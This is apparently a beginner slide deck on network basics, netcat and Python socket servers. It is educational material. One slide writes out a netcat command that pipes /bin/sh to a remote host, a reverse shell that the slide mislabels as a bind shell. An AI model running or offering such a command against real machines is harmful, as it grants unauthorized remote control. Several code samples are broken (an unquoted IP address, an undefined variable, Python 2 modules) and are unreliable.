Network Basics and Soccket Programming in Python!!!
What is a network?
A network is a physical or virtual segmentation of computers or other physical devices.
Devices on a network usually speak a common language or protocol to be able to communicate with one another.
Our entire world is a giant "web" of networks.
How does it work?
Devices on a network all agree to honor a certain protocol, which is a defined set of rules, to talk to one another.
For most common networks we use this is actually a combination of two protocols:
TCP: Transmission Control Protocol
IP: Internet Protocol
More commonly referred to simply as: TCP/IP
All computers on a network have a unique identifier called an: ip address
There's no place like: 127.0.0.1
How does it work(more)?
When devices want to "speak" TCP/IP to one another they need to establish a connection to start sending data.
Connections between two computers require two key concepts:
- socket(s)
- port(s)
- One computer must be listening for connections on a port
- Another computer must request to connect to that port
- Once they agree to establish a connection a socket is created
- Data packets are then sent to that socket
Let's try it out!
First we need to know our own IP address:
# Windows:
C:\ ipconfig /all
# Linux/Mac:
$ ifconfig
Open up your terminal:
What do you see??
netcat (swiss army of networking)
# Windows:
C:\path\to\file\ncat.exe --help
# Linux/Mac:
$ nc --help
Install ncat.exe on Windows
Mac/Linux has it installed by default as nc
# Windows:
C:\path\to\file\ncat.exe -l localhost 4444
# Linux/Mac:
$ nc -l localhost 4444
To listen for a connection:
# Windows:
C:\path\to\file\ncat.exe2 192.168.1.34 4444
# Linux/Mac:
$ nc 192.168.1.34 4444
To make a connection:
netcat file transfer
# Windows:
C:\path\to\file\ncat.exe -lv localhost 4444 > metasploitable-linux-2.0.0.zip
# Linux/Mac:
$ nc -lv 4444 > metasploitable-linux-2.0.0.zip
To prepare to receive(listen) for a file :
# Windows:
C:\path\to\file\ncat.exe2 192.168.1.34 4444 < metasploitable-linux-2.0.0.zip
# Linux/Mac:
$ nc 192.168.1.34 4444 < metasploitable-linux-2.0.0.zip
To send(connect) the file:
netcat shell transfer (bind shell)
# Windows:
C:\path\to\file\ncat.exe -lv localhost 4444
# Linux/Mac:
$ nc -lv 4444
To prepare to receive(listen) a shell :
# Windows:
C:\path\to\file\ncat.exe2 192.168.1.34 4444 -e /bin/sh
# Linux/Mac:
$ nc 192.168.1.34 4444 -e /bin/sh
To send(connect) the shell:
Client/Server Model
Often times we have a single machine that accepts connections from many machines.
Think: yourfavoritewebsite.com
The single machine is called a server and all machines that connect to that machine are called clients.
The client requests to connect to the server over a "listening" port to create a socket connection.
Client/Server Model
Socket Programming in Python
import socket
# What is the IP Address of our server?
HOST = 127.0.0.1
# What is the port we want to listen on for connections?
PORT = 4444
# Create a socket object
s = socket.socket()
# Bind to the specified host AND port
s.bind((HOST, PORT))
# Listen for a maximum of 5 connections
s.listen(5)
while True:
# Wait for someone to try to connect and accept the connection
c, addr = s.accept()
print('Got connection from', addr)
# Send a ressponse
c.send('Hear you loud and clear')
# Close the connection
c.close()
Socket Programming in Python
import socket
# What is the IP Address of our server?
HOST = 127.0.0.1
# What is the port we want to listen on for connections?
PORT = 4444
# Create a socket object
s = socket.socket()
# Bind to the specified host AND port
s.bind((HOST, PORT))
# Listen for a maximum of 5 connections
s.listen(5)
while True:
# Wait for someone to try to connect and accept the connection
c, addr = s.accept()
print('Got connection from', addr)
# Send a ressponse
c.send('Hear you loud and clear')
# Close the connection
c.close()
Socket Persistence in Python
import socket
from thread import * #import all functions from the thread library by their own name
# Prior ENVIRONMENT variables here
def clientthread(conn):
#Send a message back to the user that connected over this socket connection
conn.send('You have summoned the Security Eight Ball, what is your question?\n')
while True:
#Receive new messages from the client
data = conn.recv(1024)
reply = 'You asked: ' + data
if not data:
break
conn.sendall(reply)
conn.close() #close only this connection
while True:
# Wait for someone to try to connect and accept the connection
c, addr = s.accept()
print('Got connection from', addr)
start_new_thread(clientthread, (conn,))
s.close()
practice!
Networking Basics with Python
By Jason Sewell
Networking Basics with Python
- 2,316